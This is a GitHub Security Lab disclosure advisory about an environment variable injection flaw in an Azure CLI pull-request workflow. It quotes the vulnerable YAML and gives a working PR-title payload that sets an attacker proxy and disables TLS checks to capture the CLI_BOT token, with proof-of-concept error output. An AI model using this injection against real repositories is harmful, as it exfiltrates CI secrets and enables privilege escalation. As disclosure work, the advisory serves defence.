GHSL-2024-294: Environment variable injection leading to potential secret exfiltration and privilege escalation in Azure/cli | GitHub Security Lab
skip to content Resources Open Source Community Enterprise / Security Lab Research Advisories CodeQL Wall of Fame Resources Open Source Community Enterprise Events Get Involved Coordinated Disclosure Timeline 2024-10-23: Reported through MSRC. 2024-11-27: MSRC issue closed as resolved. Summary Azure/azure-cli is vulnerable to Environment Variable Injection which may allow a malicious actor to exfiltrate the CLI_BOT secret.
Project Azure-cli Tested Version Latest commit at the time of reporting Details Environment Variable Injection in AddPRComment.yml ( GHSL-2024-294 ) The AddPRComment.yml workflow is vulnerable to Environment Variable Injection. The workflow can be triggered by an external user bypassing any required approvals because of the privileged pull_request_trigger event (see docs ). on : pull_request_target : types : [ opened ] branches : - dev - release The workflow reads the Pull Request’s title into the TITLE environment variable and extracts the text between brackets/braces into an environment variable.
Because grep will output a new line per match, an attacker can craft a PR title that will end up generating a multi-line message variable, enabling him to inject new environment variables. permissions : pull-requests : write jobs : thank-user : runs-on : ubuntu-20.04 name : Say thanks for the PR steps : - name : get message env : TITLE : ${{ github.event.pull_request.title }} run : | message=$(echo "$TITLE" | grep -oP '[{\[][^}\]]+[}\]]' | sed 's/{\|}\|\[\|\]//g') echo "message=$message" >> $GITHUB_ENV if [ -z $message ]; then echo "message=$(echo 'Thank you for your contribution!
We will review the pull request and get back to you soon.')" >> $GITHUB_ENV fi An attacker can submit a Pull Request with a title like [foo][ENV1=VALUE1][ENV2=VALUE2] to trigger the workflow. The mentioned title will generate the following value for the message variable: foo ENV1=VALUE1 ENV2=VALUE2 Since the message variable will be tested with the POSIX test command, we will need to add a binary operator flag to handle the injected lines.
We can do that by passing -a ( [foo -a][ENV1=VALUE1][ENV2=VALUE2] ) which will behave as a logic AND. As a result, two new environment variables will get defined in the GitHub runner. ENV1=VALUE1 ENV2=VALUE2 Since the only step after the injection is a composite action that runs on node: - name : comment on the pull request uses : mshick/add-pr-comment@v2 with : repo-token : ${{ secrets.CLI_BOT }} message : " ${{ env.message }}" The attack vector to gain arbitrary code execution could be to use NODE_OPTIONS , however GitHub does not allow to define this variable in order not to interfere with its running environment.
Since the GITHUB_TOKEN has only pull-requests: write permissions, the attacker would be more interested in leaking the secrets.CLI_BOT token which may be more privileged and even have Azure org access. In order to do so, the attacker can inject a combination of HTTPS_PROXY=http://attacker (to proxy the calls performed by the mshick/add-pr-comment through a malicious SSL intercepting proxy and NODE_TLS_REJECT_UNAUTHORIZED=0 to force node.js to accept invalid TLS certificates.
Steps To Reproduce By submitting the following PR title an attacker would be able to steal the repo-token stored in CLI_BOT since it will get attached to any HTTP requests sent through the malicious proxy. [a -a][NODE_TLS_REJECT_UNAUTHORIZED=0][HTTPS_PROXY=https://non-existent-foo-goo.com] As a proof of concept, I have opened a test PR with the above title. Since Im using a non-existent domain, no credentials will get leaked, but the error in the request will prove that the environment variables ( NODE_TLS_REJECT_UNAUTHORIZED and HTTPS_PROXY ) were injected and that the CLI_BOT could have been exfiltrated to the attacker-controlled proxy.
Looking at the Workflow run we can see the following error: (node:1763) Warning: Setting the NODE_TLS_REJECT_UNAUTHORIZED environment variable to '0' makes TLS connections and HTTPS requests insecure by disabling certificate verification. (Use `node --trace-warnings ...` to show where the warning was created) Error: request to https://api.github.com/repos/Azure/azure-cli/issues/30037/comments?per_page=100 failed, reason: tunneling socket could not be established, cause=getaddrinfo ENOTFOUND non-existent-foo-goo.com Impact The impact depends on the permissions of the CLI_BOT token which may have organization access and be used to escalate to other workflows/repos or steal org-level defined secrets of the Azure org.
Credit This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz) . Contact You can contact the GHSL team at securitylab@github.com , please include a reference to GHSL-2024-294 in any communication regarding this issue.